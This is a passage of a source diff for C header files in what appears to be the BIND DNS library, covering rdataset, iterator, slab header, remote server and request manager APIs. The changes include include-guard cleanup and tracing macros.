+			const struct dns_name *noqname, *closest;
+			dns_dbnode_t	      *node;
+		} rdlist;
+
+#ifdef USE_DNSRPS
+		/*
+		 * DNSRPS rdatasets. dns_rpsdb_t is defined in dnsrps.h.
+		 */
+		struct {
+			dns_rpsdb_t *db;
+			void	    *iter_pos;
+			unsigned int iter_count;
+		} rps;
+#endif /* USE_DNSRPS */
+	};
 };
 
+#define DNS_RDATASET_COUNT_UNDEFINED UINT32_MAX
+
+#define DNS_RDATASET_INIT                                                  \
+	{                                                                  \
+		.magic = DNS_RDATASET_MAGIC, .link = ISC_LINK_INITIALIZER, \
+		.count = DNS_RDATASET_COUNT_UNDEFINED                      \
+	}
+
 /*!
  * \def DNS_RDATASETATTR_RENDERED
  *	Used by message.c to indicate that the rdataset was rendered.
@@ -155,6 +239,11 @@ struct dns_rdataset {
  *
  * \def DNS_RDATASETATTR_LOADORDER
  *	Output the RRset in load order.
+ *
+ * \def DNS_RDATASETATTR_STALE_ADDED
+ *	Set on rdatasets that were added during a stale-answer-client-timeout
+ *	lookup. In other words, the RRset was added during a lookup of stale
+ *	data and does not necessarily mean that the rdataset itself is stale.
  */
 
 #define DNS_RDATASETATTR_NONE	      0x00000000 /*%< No ordering. */
@@ -187,6 +276,7 @@ struct dns_rdataset {
 #define DNS_RDATASETATTR_ANCIENT      0x02000000
 #define DNS_RDATASETATTR_STALE_WINDOW 0x04000000
 #define DNS_RDATASETATTR_STALE_ADDED  0x08000000
+#define DNS_RDATASETATTR_KEEPCASE     0x10000000
 
 /*%
  * _OMITDNSSEC:
@@ -219,8 +309,10 @@ dns_rdataset_invalidate(dns_rdataset_t *rdataset);
  *	without initializing it will cause an assertion failure.
  */
 
+#define dns_rdataset_disassociate(rdataset) \
+	dns__rdataset_disassociate(rdataset DNS__DB_FILELINE)
 void
-dns_rdataset_disassociate(dns_rdataset_t *rdataset);
+dns__rdataset_disassociate(dns_rdataset_t *rdataset DNS__DB_FLARG);
 /*%<
  * Disassociate 'rdataset' from its rdata, allowing it to be reused.
  *
@@ -265,8 +357,11 @@ dns_rdataset_makequestion(dns_rdataset_t *rdataset, dns_rdataclass_t rdclass,
  *\li	'rdataset' is a valid, associated, question rdataset.
  */
 
+#define dns_rdataset_clone(source, target) \
+	dns__rdataset_clone(source, target DNS__DB_FILELINE)
 void
-dns_rdataset_clone(dns_rdataset_t *source, dns_rdataset_t *target);
+dns__rdataset_clone(dns_rdataset_t	  *source,
+		    dns_rdataset_t *target DNS__DB_FLARG);
 /*%<
  * Make 'target' refer to the same rdataset as 'source'.
  *
@@ -398,7 +493,7 @@ dns_rdataset_towire(dns_rdataset_t *rdataset, const dns_name_t *owner_name,
  */
 
 isc_result_t
-dns_rdataset_towiresorted(dns_rdataset_t *  rdataset,
+dns_rdataset_towiresorted(dns_rdataset_t   *rdataset,
 			  const dns_name_t *owner_name, dns_compress_t *cctx,
 			  isc_buffer_t *target, dns_rdatasetorderfunc_t order,
 			  const void *order_arg, unsigned int options,
@@ -414,7 +509,7 @@ dns_rdataset_towiresorted(dns_rdataset_t *  rdataset,
  */
 
 isc_result_t
-dns_rdataset_towirepartial(dns_rdataset_t *  rdataset,
+dns_rdataset_towirepartial(dns_rdataset_t   *rdataset,
 			   const dns_name_t *owner_name, dns_compress_t *cctx,
 			   isc_buffer_t *target, dns_rdatasetorderfunc_t order,
 			   const void *order_arg, unsigned int options,
@@ -438,7 +533,8 @@ dns_rdataset_towirepartial(dns_rdataset_t *  rdataset,
  */
 
 isc_result_t
-dns_rdataset_additionaldata(dns_rdataset_t *	     rdataset,
+dns_rdataset_additionaldata(dns_rdataset_t	    *rdataset,
+			    const dns_name_t	    *owner_name,
 			    dns_additionaldatafunc_t add, void *arg);
 /*%<
  * For each rdata in rdataset, call 'add' for each name and type in the
@@ -465,9 +561,12 @@ dns_rdataset_additionaldata(dns_rdataset_t *	     rdataset,
  *\li	Any error that dns_rdata_additionaldata() can return.
  */
 
+#define dns_rdataset_getnoqname(rdataset, name, neg, negsig) \
+	dns__rdataset_getnoqname(rdataset, name, neg, negsig DNS__DB_FILELINE)
 isc_result_t
-dns_rdataset_getnoqname(dns_rdataset_t *rdataset, dns_name_t *name,
-			dns_rdataset_t *neg, dns_rdataset_t *negsig);
+dns__rdataset_getnoqname(dns_rdataset_t *rdataset, dns_name_t *name,
+			 dns_rdataset_t	       *neg,
+			 dns_rdataset_t *negsig DNS__DB_FLARG);
 /*%<
  * Return the noqname proof for this record.
  *
@@ -491,9 +590,12 @@ dns_rdataset_addnoqname(dns_rdataset_t *rdataset, dns_name_t *name);
  *	 rdatasets.
  */
 
+#define dns_rdataset_getclosest(rdataset, name, nsec, nsecsig) \
+	dns__rdataset_getclosest(rdataset, name, nsec, nsecsig DNS__DB_FILELINE)
 isc_result_t
-dns_rdataset_getclosest(dns_rdataset_t *rdataset, dns_name_t *name,
-			dns_rdataset_t *nsec, dns_rdataset_t *nsecsig);
+dns__rdataset_getclosest(dns_rdataset_t *rdataset, dns_name_t *name,
+			 dns_rdataset_t		*nsec,
+			 dns_rdataset_t *nsecsig DNS__DB_FLARG);
 /*%<
  * Return the closest encloser for this record.
  *
@@ -523,8 +625,10 @@ dns_rdataset_settrust(dns_rdataset_t *rdataset, dns_trust_t trust);
  * The local trust level of 'rdataset' is also set.
  */
 
+#define dns_rdataset_expire(rdataset) \
+	dns__rdataset_expire(rdataset DNS__DB_FILELINE)
 void
-dns_rdataset_expire(dns_rdataset_t *rdataset);
+dns__rdataset_expire(dns_rdataset_t *rdataset DNS__DB_FLARG);
 /*%<
  * Mark the rdataset to be expired in the backing database.
  */
@@ -556,28 +660,6 @@ dns_rdataset_getownercase(const dns_rdataset_t *rdataset, dns_name_t *name);
  * according to it. If CASESET is not set, do nothing.
  */
 
-isc_result_t
-dns_rdataset_addglue(dns_rdataset_t *rdataset, dns_dbversion_t *version,
-		     dns_message_t *msg);
-/*%<
- * Add glue records for rdataset to the additional section of message in
- * 'msg'. 'rdataset' must be of type NS.
- *
- * In case a successful result is not returned, the caller should try to
- * add glue directly to the message by iterating for additional data.
- *
- * Requires:
- * \li	'rdataset' is a valid NS rdataset.
- * \li	'version' is the DB version.
- * \li	'msg' is the DNS message to which the glue should be added.
- *
- * Returns:
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_NOTIMPLEMENTED
- *\li	#ISC_R_FAILURE
- *\li	Any error that dns_rdata_additionaldata() can return.
- */
-
 void
 dns_rdataset_trimttl(dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset,
 		     dns_rdata_rrsig_t *rrsig, isc_stdtime_t now,
@@ -604,5 +686,3 @@ dns_trust_totext(dns_trust_t trust);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_RDATASET_H */
diff --git a/lib/dns/include/dns/rdatasetiter.h b/lib/dns/include/dns/rdatasetiter.h
index adf0259fdc..4689d333c3 100644
--- a/lib/dns/include/dns/rdatasetiter.h
+++ b/lib/dns/include/dns/rdatasetiter.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_RDATASETITER_H
-#define DNS_RDATASETITER_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -66,10 +67,11 @@ ISC_LANG_BEGINDECLS
 *****/
 
 typedef struct dns_rdatasetitermethods {
-	void (*destroy)(dns_rdatasetiter_t **iteratorp);
-	isc_result_t (*first)(dns_rdatasetiter_t *iterator);
-	isc_result_t (*next)(dns_rdatasetiter_t *iterator);
-	void (*current)(dns_rdatasetiter_t *iterator, dns_rdataset_t *rdataset);
+	void (*destroy)(dns_rdatasetiter_t **iteratorp DNS__DB_FLARG);
+	isc_result_t (*first)(dns_rdatasetiter_t *iterator DNS__DB_FLARG);
+	isc_result_t (*next)(dns_rdatasetiter_t *iterator DNS__DB_FLARG);
+	void (*current)(dns_rdatasetiter_t	*iterator,
+			dns_rdataset_t *rdataset DNS__DB_FLARG);
 } dns_rdatasetitermethods_t;
 
 #define DNS_RDATASETITER_MAGIC	  ISC_MAGIC('D', 'N', 'S', 'i')
@@ -88,14 +90,17 @@ struct dns_rdatasetiter {
 	/* Unlocked. */
 	unsigned int		   magic;
 	dns_rdatasetitermethods_t *methods;
-	dns_db_t *		   db;
-	dns_dbnode_t *		   node;
-	dns_dbversion_t *	   version;
+	dns_db_t		  *db;
+	dns_dbnode_t		  *node;
+	dns_dbversion_t		  *version;
 	isc_stdtime_t		   now;
+	unsigned int		   options;
 };
 
+#define dns_rdatasetiter_destroy(iteratorp) \
+	dns__rdatasetiter_destroy(iteratorp DNS__DB_FILELINE)
 void
-dns_rdatasetiter_destroy(dns_rdatasetiter_t **iteratorp);
+dns__rdatasetiter_destroy(dns_rdatasetiter_t **iteratorp DNS__DB_FLARG);
 /*%<
  * Destroy '*iteratorp'.
  *
@@ -110,8 +115,10 @@ dns_rdatasetiter_destroy(dns_rdatasetiter_t **iteratorp);
  *\li	*iteratorp == NULL.
  */
 
+#define dns_rdatasetiter_first(iterator) \
+	dns__rdatasetiter_first(iterator DNS__DB_FILELINE)
 isc_result_t
-dns_rdatasetiter_first(dns_rdatasetiter_t *iterator);
+dns__rdatasetiter_first(dns_rdatasetiter_t *iterator DNS__DB_FLARG);
 /*%<
  * Move the rdataset cursor to the first rdataset at the node (if any).
  *
@@ -125,8 +132,10 @@ dns_rdatasetiter_first(dns_rdatasetiter_t *iterator);
  *\li	Other results are possible, depending on the DB implementation.
  */
 
+#define dns_rdatasetiter_next(iterator) \
+	dns__rdatasetiter_next(iterator DNS__DB_FILELINE)
 isc_result_t
-dns_rdatasetiter_next(dns_rdatasetiter_t *iterator);
+dns__rdatasetiter_next(dns_rdatasetiter_t *iterator DNS__DB_FLARG);
 /*%<
  * Move the rdataset cursor to the next rdataset at the node (if any).
  *
@@ -141,9 +150,11 @@ dns_rdatasetiter_next(dns_rdatasetiter_t *iterator);
  *\li	Other results are possible, depending on the DB implementation.
  */
 
+#define dns_rdatasetiter_current(iterator, rdataset) \
+	dns__rdatasetiter_current(iterator, rdataset DNS__DB_FILELINE)
 void
-dns_rdatasetiter_current(dns_rdatasetiter_t *iterator,
-			 dns_rdataset_t *    rdataset);
+dns__rdatasetiter_current(dns_rdatasetiter_t	  *iterator,
+			  dns_rdataset_t *rdataset DNS__DB_FLARG);
 /*%<
  * Return the current rdataset.
  *
@@ -157,5 +168,3 @@ dns_rdatasetiter_current(dns_rdatasetiter_t *iterator,
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_RDATASETITER_H */
diff --git a/lib/dns/include/dns/rdataslab.h b/lib/dns/include/dns/rdataslab.h
index 5a22f099c3..9fa97bf81f 100644
--- a/lib/dns/include/dns/rdataslab.h
+++ b/lib/dns/include/dns/rdataslab.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_RDATASLAB_H
-#define DNS_RDATASLAB_H 1
+#pragma once
 
 /*! \file dns/rdataslab.h
  * \brief
@@ -42,8 +43,14 @@
 
 #include <stdbool.h>
 
+#include <isc/atomic.h>
+#include <isc/heap.h>
 #include <isc/lang.h>
+#include <isc/stdtime.h>
+#include <isc/urcu.h>
 
+#include <dns/name.h>
+#include <dns/rdataset.h>
 #include <dns/types.h>
 
 ISC_LANG_BEGINDECLS
@@ -52,12 +59,109 @@ ISC_LANG_BEGINDECLS
 #define DNS_RDATASLAB_EXACT 0x2
 
 #define DNS_RDATASLAB_OFFLINE 0x01 /* RRSIG is for offline DNSKEY */
-#define DNS_RDATASLAB_WARNMASK          \
-	0x0E /*%< RRSIG(DNSKEY) expired \
-	      * warnings number mask. */
-#define DNS_RDATASLAB_WARNSHIFT               \
-	1 /*%< How many bits to shift to find \
-	   * remaining expired warning number. */
+
+struct dns_proof {
+	dns_name_t	name;
+	void	       *neg;
+	void	       *negsig;
+	dns_rdatatype_t type;
+};
+
+struct dns_slabheader {
+	/*%
+	 * Locked by the owning node's lock.
+	 */
+	uint32_t	      serial;
+	dns_ttl_t	      ttl;
+	dns_typepair_t	      type;
+	atomic_uint_least16_t attributes;
+	dns_trust_t	      trust;
+
+	unsigned int heap_index;
+	/*%<
+	 * Used for TTL-based cache cleaning.
+	 */
+
+	isc_stdtime_t resign;
+	unsigned int  resign_lsb : 1;
+
+	atomic_uint_fast16_t count;
+	/*%<
+	 * Monotonically increased every time this rdataset is bound so that
+	 * it is used as the base of the starting point in DNS responses
+	 * when the "cyclic" rrset-order is required.
+	 */
+
+	atomic_uint_fast32_t last_refresh_fail_ts;
+
+	dns_proof_t *noqname;
+	dns_proof_t *closest;
+	/*%<
+	 * We don't use the LIST macros, because the LIST structure has
+	 * both head and tail pointers, and is doubly linked.
+	 */
+
+	struct dns_slabheader *next;
+	/*%<
+	 * If this is the top header for an rdataset, 'next' points
+	 * to the top header for the next rdataset (i.e., the next type).
+	 * Otherwise, it points up to the header whose down pointer points
+	 * at this header.
+	 */
+
+	struct dns_slabheader *down;
+	/*%<
+	 * Points to the header for the next older version of
+	 * this rdataset.
+	 */
+
+	dns_db_t     *db;
+	dns_dbnode_t *node;
+	/*%<
+	 * The database and database node objects containing
+	 * this rdataset, if any.
+	 */
+
+	isc_stdtime_t last_used;
+	ISC_LINK(struct dns_slabheader) link;
+
+	/*%
+	 * Case vector.  If the bit is set then the corresponding
+	 * character in the owner name needs to be AND'd with 0x20,
+	 * rendering that character upper case.
+	 */
+	unsigned char upper[32];
+
+	isc_heap_t	   *heap;
+	dns_glue_t	   *glue_list;
+	struct cds_wfs_node wfs_node;
+};
+
+enum {
+	DNS_SLABHEADERATTR_NONEXISTENT = 1 << 0,
+	DNS_SLABHEADERATTR_STALE = 1 << 1,
+	DNS_SLABHEADERATTR_IGNORE = 1 << 2,
+	DNS_SLABHEADERATTR_NXDOMAIN = 1 << 3,
+	DNS_SLABHEADERATTR_RESIGN = 1 << 4,
+	DNS_SLABHEADERATTR_STATCOUNT = 1 << 5,
+	DNS_SLABHEADERATTR_OPTOUT = 1 << 6,
+	DNS_SLABHEADERATTR_NEGATIVE = 1 << 7,
+	DNS_SLABHEADERATTR_PREFETCH = 1 << 8,
+	DNS_SLABHEADERATTR_CASESET = 1 << 9,
+	DNS_SLABHEADERATTR_ZEROTTL = 1 << 10,
+	DNS_SLABHEADERATTR_CASEFULLYLOWER = 1 << 11,
+	DNS_SLABHEADERATTR_ANCIENT = 1 << 12,
+	DNS_SLABHEADERATTR_STALE_WINDOW = 1 << 13,
+};
+
+#define DNS_SLABHEADER_GETATTR(header, attribute) \
+	(atomic_load_acquire(&(header)->attributes) & attribute)
+#define DNS_SLABHEADER_SETATTR(header, attribute) \
+	atomic_fetch_or_release(&(header)->attributes, attribute)
+#define DNS_SLABHEADER_CLRATTR(header, attribute) \
+	atomic_fetch_and_release(&(header)->attributes, ~(attribute))
+
+extern dns_rdatasetmethods_t dns_rdataslab_rdatasetmethods;
 
 /***
  *** Functions
@@ -166,6 +270,47 @@ dns_rdataslab_equalx(unsigned char *slab1, unsigned char *slab2,
  *\li	true if the slabs are equal, #false otherwise.
  */
 
-ISC_LANG_ENDDECLS
+dns_slabheader_t *
+dns_slabheader_fromrdataset(const dns_rdataset_t *rdataset);
+/*%
+ * Returns the address of the slab header for a slab-type rdataset.
+ */
+
+void *
+dns_slabheader_raw(dns_slabheader_t *header);
+/*%
+ * Returns the address of the raw memory following a dns_slabheader.
+ */
+
+void
+dns_slabheader_setownercase(dns_slabheader_t *header, const dns_name_t *name);
+/*%<
+ * Store the casing of 'name', into a bitfield in 'header'.
+ */
+
+void
+dns_slabheader_copycase(dns_slabheader_t *dest, dns_slabheader_t *src);
+/*%<
+ * Copy the casing of 'src', into 'dest'.
+ */
 
-#endif /* DNS_RDATASLAB_H */
+void
+dns_slabheader_reset(dns_slabheader_t *h, dns_db_t *db, dns_dbnode_t *node);
+/*%<
+ * Reset an rdataslab header 'h' so it can be used to store data in
+ * database 'db' and node 'node'.
+ */
+
+dns_slabheader_t *
+dns_slabheader_new(dns_db_t *db, dns_dbnode_t *node);
+/*%<
+ * Allocate memory for an rdataslab header and initialize it for use
+ * in database 'db'/node 'node'.
+ */
+
+void
+dns_slabheader_destroy(dns_slabheader_t **headerp);
+/*%<
+ * Free all memory associated with '*headerp'.
+ */
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/rdatatype.h b/lib/dns/include/dns/rdatatype.h
index 481ea82e9a..46ecef329f 100644
--- a/lib/dns/include/dns/rdatatype.h
+++ b/lib/dns/include/dns/rdatatype.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_RDATATYPE_H
-#define DNS_RDATATYPE_H 1
+#pragma once
 
 /*! \file dns/rdatatype.h */
 
@@ -18,6 +19,11 @@
 
 #include <dns/types.h>
 
+#define DNS_TYPEPAIR_TYPE(type)	  ((dns_rdatatype_t)((type)&0xFFFF))
+#define DNS_TYPEPAIR_COVERS(type) ((dns_rdatatype_t)((type) >> 16))
+#define DNS_TYPEPAIR_VALUE(base, ext) \
+	((dns_typepair_t)(((uint32_t)ext) << 16) | (((uint32_t)base) & 0xffff))
+
 ISC_LANG_BEGINDECLS
 
 isc_result_t
@@ -91,5 +97,3 @@ dns_rdatatype_format(dns_rdatatype_t rdtype, char *array, unsigned int size);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_RDATATYPE_H */
diff --git a/lib/dns/include/dns/remote.h b/lib/dns/include/dns/remote.h
new file mode 100644
index 0000000000..7d3a6f1fd9
--- /dev/null
+++ b/lib/dns/include/dns/remote.h
@@ -0,0 +1,219 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+/*! \file dns/remote.h */
+
+#include <stdbool.h>
+
+#include <isc/lang.h>
+#include <isc/magic.h>
+#include <isc/mem.h>
+
+#include <dns/types.h>
+
+ISC_LANG_BEGINDECLS
+
+#define DNS_REMOTE_MAGIC	 ISC_MAGIC('R', 'm', 't', 'e')
+#define DNS_REMOTE_VALID(remote) ISC_MAGIC_VALID(remote, DNS_REMOTE_MAGIC)
+
+struct dns_remote {
+	unsigned int	magic;
+	isc_mem_t      *mctx;
+	isc_sockaddr_t *addresses;
+	isc_sockaddr_t *sources;
+	dns_name_t    **keynames;
+	dns_name_t    **tlsnames;
+	bool	       *ok;
+	unsigned int	addrcnt;
+	unsigned int	curraddr;
+};
+
+isc_sockaddr_t *
+dns_remote_addresses(dns_remote_t *remote);
+/*%<
+ *	Return the addresses of the remote server.
+ *
+ *	Requires:
+ *		'remote' is a valid remote structure.
+ */
+
+isc_sockaddr_t *
+dns_remote_sources(dns_remote_t *remote);
+/*%<
+ *	Return the source addresses to be used for the remote server.
+ *
+ *	Requires:
+ *		'remote' is a valid remote structure.
+ */
+
+unsigned int
+dns_remote_count(dns_remote_t *remote);
+/*%<
+ *	Return the number of addresses of the remote server.
+ *
+ *	Requires:
+ *		'remote' is a valid remote structure.
+ */
+
+dns_name_t **
+dns_remote_keynames(dns_remote_t *remote);
+/*%<
+ *	Return the keynames of the remote server.
+ *
+ *	Requires:
+ *		'remote' is a valid remote structure.
+ */
+
+dns_name_t **
+dns_remote_tlsnames(dns_remote_t *remote);
+/*%<
+ *	Return the tlsnames of the remote server.
+ *
+ *	Requires:
+ *		'remote' is a valid remote structure.
+ */
+
+void
+dns_remote_init(dns_remote_t *remote, unsigned int count,
+		const isc_sockaddr_t *addrs, const isc_sockaddr_t *srcs,
+		dns_name_t **keynames, dns_name_t **tlsnames, bool mark,
+		isc_mem_t *mctx);
+
+/*%<
+ *	Initialize a remote server. Set the provided addresses (addrs),
+ *	source addresses (srcs), key names (keynames) and tls names
+ *	(tlsnames). Use the provided memory context (mctx) for allocations.
+ *	If 'mark' is 'true', set up a list of boolean values to mark the
+ *	server bad or good.
+ *
+ *	Requires:
+ *		'remote' is a valid remote structure.
+ *		'mctx' is not NULL.
+ *		'addrs' is not NULL, or 'count' equals zero.
+ *		'keynames' and 'tlsnames' are not NULL, then 'count > 0'.
+ */
+
+void
+dns_remote_clear(dns_remote_t *remote);
+/*%<
+ *	Clear remote server 'remote', free memory.
+ *
+ *	Requires:
+ *		'remote' is a valid remote structure.
+ */
+
+bool
+dns_remote_equal(dns_remote_t *a, dns_remote_t *b);
+/*%<
+ *	Compare two remote servers 'a' and 'b'. Check if the address
+ *	count, the addresses, the key names and the tls names are
+ *	the same. Return 'true' if so, 'false' otherwise.
+ *
+ *	Requires:
+ *		'a' and 'b' are valid remote structures.
+ */
+
+void
+dns_remote_reset(dns_remote_t *remote, bool clear_ok);
+/*%<
+ *	Reset the remote server, set the current address back to the
+ *	first. If 'clear_ok' is 'true', clear any servers marked ok.
+ *
+ *	Requires:
+ *		'remote' is a valid remote structure.
+ */
+
+void
+dns_remote_next(dns_remote_t *remote, bool skip_good);
+/*%<
+ *	Skip to the next address. If 'skip_good' is 'true', skip over
+ *	already addresses already considered good, whatever good means in the
+ *	context of this remote server.
+ *
+ *	Requires:
+ *		'remote' is a valid remote structure.
+ */
+
+isc_sockaddr_t
+dns_remote_curraddr(dns_remote_t *remote);
+/*%<
+ *	Return the currently used address for this remote server.
+ *
+ *	Requires:
+ *		'remote' is a valid remote structure.
+ *		'remote->addresses' is not NULL.
+ */
+
+isc_sockaddr_t
+dns_remote_sourceaddr(dns_remote_t *remote);
+/*%<
+ *	Return the current source address.
+ *
+ *	Requires:
+ *		'remote' is a valid remote structure.
+ *		'remote->sources' is not NULL.
+ */
+
+isc_sockaddr_t
+dns_remote_addr(dns_remote_t *remote, unsigned int i);
+/*%<
+ *	Return the address at index 'i'.
+ *
+ *	Requires:
+ *		'remote' is a valid remote structure.
+ *		'remote->addresses' is not NULL.
+ */
+
+dns_name_t *
+dns_remote_keyname(dns_remote_t *remote);
+/*%<
+ *	Return the current key name. Returns NULL if we have iterated
+ *	over all addresses already, or if keynames are not used.
+ *
+ *	Requires:
+ *		'remote' is a valid remote structure.
+ */
+
+dns_name_t *
+dns_remote_tlsname(dns_remote_t *remote);
+/*%<
+ *	Return the current tls name. Returns NULL if we have iterated
+ *	over all addresses already, or if tlsnames are not used.
+ *
+ *	Requires:
+ *		'remote' is a valid remote structure.
+ */
+
+void
+dns_remote_mark(dns_remote_t *remote, bool good);
+/*%<
+ *	Mark the current address 'good' (or not good if 'good' is
+ *	'false').
+ *
+ *	Requires:
+ *		'remote' is a valid remote structure.
+ *		The current address index is lower than the address count.
+ */
+
+bool
+dns_remote_done(dns_remote_t *remote);
+/*%<
+ *	Return 'true' if we iterated over all addresses, 'false' otherwise.
+ *
+ *	Requires:
+ *		'remote' is a valid remote structure.
+ */
+
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/request.h b/lib/dns/include/dns/request.h
index 6ec7395ae2..5e112cb437 100644
--- a/lib/dns/include/dns/request.h
+++ b/lib/dns/include/dns/request.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_REQUEST_H
-#define DNS_REQUEST_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -35,27 +36,23 @@
 
 #include <stdbool.h>
 
-#include <isc/event.h>
+#include <isc/job.h>
 #include <isc/lang.h>
+#include <isc/tls.h>
 
 #include <dns/types.h>
 
+#undef DNS_REQUEST_TRACE
+
 #define DNS_REQUESTOPT_TCP     0x00000001U
 #define DNS_REQUESTOPT_CASE    0x00000002U
 #define DNS_REQUESTOPT_FIXEDID 0x00000004U
-#define DNS_REQUESTOPT_SHARE   0x00000008U
-
-typedef struct dns_requestevent {
-	ISC_EVENT_COMMON(struct dns_requestevent);
-	isc_result_t   result;
-	dns_request_t *request;
-} dns_requestevent_t;
+#define DNS_REQUESTOPT_LARGE   0x00000008U
 
 ISC_LANG_BEGINDECLS
 
 isc_result_t
-dns_requestmgr_create(isc_mem_t *mctx, isc_timermgr_t *timermgr,
-		      isc_socketmgr_t *socketmgr, isc_taskmgr_t *taskmgr,
+dns_requestmgr_create(isc_mem_t *mctx, isc_loopmgr_t *loopmgr,
 		      dns_dispatchmgr_t *dispatchmgr,
 		      dns_dispatch_t *dispatchv4, dns_dispatch_t *dispatchv6,
 		      dns_requestmgr_t **requestmgrp);
@@ -66,12 +63,6 @@ dns_requestmgr_create(isc_mem_t *mctx, isc_timermgr_t *timermgr,
  *
  *\li	'mctx' is a valid memory context.
  *
- *\li	'timermgr' is a valid timer manager.
- *
- *\li	'socketmgr' is a valid socket manager.
- *
- *\li	'taskmgr' is a valid task manager.
- *
  *\li	'dispatchv4' is a valid dispatcher with an IPv4 UDP socket, or is NULL.
  *
  *\li	'dispatchv6' is a valid dispatcher with an IPv6 UDP socket, or is NULL.
@@ -89,30 +80,6 @@ dns_requestmgr_create(isc_mem_t *mctx, isc_timermgr_t *timermgr,
  *\li	Any other result indicates failure.
  */
 
-void
-dns_requestmgr_whenshutdown(dns_requestmgr_t *requestmgr, isc_task_t *task,
-			    isc_event_t **eventp);
-/*%<
- * Send '*eventp' to 'task' when 'requestmgr' has completed shutdown.
- *
- * Notes:
- *
- *\li	It is not safe to detach the last reference to 'requestmgr' until
- *	shutdown is complete.
- *
- * Requires:
- *
- *\li	'requestmgr' is a valid request manager.
- *
- *\li	'task' is a valid task.
- *
- *\li	*eventp is a valid event.
- *
- * Ensures:
- *
- *\li	*eventp == NULL.
- */
-
 void
 dns_requestmgr_shutdown(dns_requestmgr_t *requestmgr);
 /*%<
@@ -128,79 +95,29 @@ dns_requestmgr_shutdown(dns_requestmgr_t *requestmgr);
  *\li	'requestmgr' is a valid requestmgr.
  */
 
-void
-dns_requestmgr_attach(dns_requestmgr_t *source, dns_requestmgr_t **targetp);
-/*%<
- *	Attach to the request manager.  dns_requestmgr_shutdown() must not
- *	have been called on 'source' prior to calling dns_requestmgr_attach().
- *
- * Requires:
- *
- *\li	'source' is a valid requestmgr.
- *
- *\li	'targetp' to be non NULL and '*targetp' to be NULL.
- */
-
-void
-dns_requestmgr_detach(dns_requestmgr_t **requestmgrp);
-/*%<
- *	Detach from the given requestmgr.  If this is the final detach
- *	requestmgr will be destroyed.  dns_requestmgr_shutdown() must
- *	be called before the final detach.
- *
- * Requires:
- *
- *\li	'*requestmgrp' is a valid requestmgr.
- *
- * Ensures:
- *\li	'*requestmgrp' is NULL.
- */
+#if DNS_REQUEST_TRACE
+#define dns_requestmgr_ref(ptr) \
+	dns_requestmgr__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_requestmgr_unref(ptr) \
+	dns_requestmgr__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_requestmgr_attach(ptr, ptrp) \
+	dns_requestmgr__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_requestmgr_detach(ptrp) \
+	dns_requestmgr__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns_requestmgr);
+#else
+ISC_REFCOUNT_DECL(dns_requestmgr);
+#endif
 
 isc_result_t
 dns_request_create(dns_requestmgr_t *requestmgr, dns_message_t *message,
-		   const isc_sockaddr_t *address, unsigned int options,
-		   dns_tsigkey_t *key, unsigned int timeout, isc_task_t *task,
-		   isc_taskaction_t action, void *arg,
+		   const isc_sockaddr_t *srcaddr,
+		   const isc_sockaddr_t *destaddr, dns_transport_t *transport,
+		   isc_tlsctx_cache_t *tlsctx_cache, unsigned int options,
+		   dns_tsigkey_t *key, unsigned int timeout,
+		   unsigned int udptimeout, unsigned int udpretries,
+		   isc_loop_t *loop, isc_job_cb cb, void *arg,
 		   dns_request_t **requestp);
-/*%<
- * Create and send a request.
- *
- * Notes:
- *
- *\li	'message' will be rendered and sent to 'address'.  If the
- *	#DNS_REQUESTOPT_TCP option is set, TCP will be used,
- *	#DNS_REQUESTOPT_SHARE option is set too, connecting TCP
- *	(vs. connected) will be shared too.  The request
- *	will timeout after 'timeout' seconds.
- *
- *\li	If the #DNS_REQUESTOPT_CASE option is set, use case sensitive
- *	compression.
- *
- *\li	When the request completes, successfully, due to a timeout, or
- *	because it was canceled, a completion event will be sent to 'task'.
- *
- * Requires:
- *
- *\li	'message' is a valid DNS message.
- *
